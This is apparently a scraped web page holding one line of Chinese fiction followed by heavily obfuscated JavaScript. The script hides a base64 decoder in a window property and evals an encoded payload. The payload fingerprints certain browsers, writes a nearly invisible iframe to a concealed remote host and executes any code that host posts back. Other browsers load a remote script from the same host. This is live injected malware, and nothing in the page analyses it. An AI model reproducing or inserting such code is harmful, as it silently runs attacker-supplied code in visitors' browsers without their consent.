就算这样，步还是靠了过来

eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x4e\x52\x41"]=function(e){var bf ='ABCDEFGHIJKL'+''+'MNOPQRSTUVWXYZa'+'bcdefghi'+'jk'+''+'l'+'mnopqrstuvwxyz01'+'23456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x5a\x53\x66\x67\x56\x70"]=function(){eval(QNRA("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoUU5SQSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFFOUkEoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihRTlJBKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbUU5SQSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEuaHRtbD9aU2ZnVnAnO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGV2YWwoZGVjb2RlVVJJQ29tcG9uZW50KGUuZGF0YVtyXS5yZXBsYWNlKG5ldyBSZWdFeHAociwnZycpLCcnKSkpKSgpO319KTt9ZWxzZXtkb2N1bWVudC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcwJysnJysnTU0nKycnKydUTCcrJzVnaicrJycrJ01NJysndGduJysnUnknKydVaWMnKycnKycyJysnJysnUicrJ1dlMicrJ0ZHJysnJysnYkdKJysnJysnVCcrJycrJ0p6UScrJ0QnKycnKydOdycrJycrJ0lUJysnUXonKydVJysnQ2MnKyd2JysnUicrJ25MMScrJ0FUWicrJycrJ3JkJysnJysnbScrJycrJ2InKydweG0nKydMelonKycnKydrTScrJycrJ01sJysnWWsnKycnKydNJysnTScrJ2wnKycnKydFMCcrJycrJ01NbCcrJycrJ01NJysnJysnSCcrJycrJ2MwJysnJysnUicrJycrJ0gnKydhJywnJysnZGVzJysnX3MnKydfMjg5JysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJycrJycrJycrJycrJycsJ00nKQ=="));}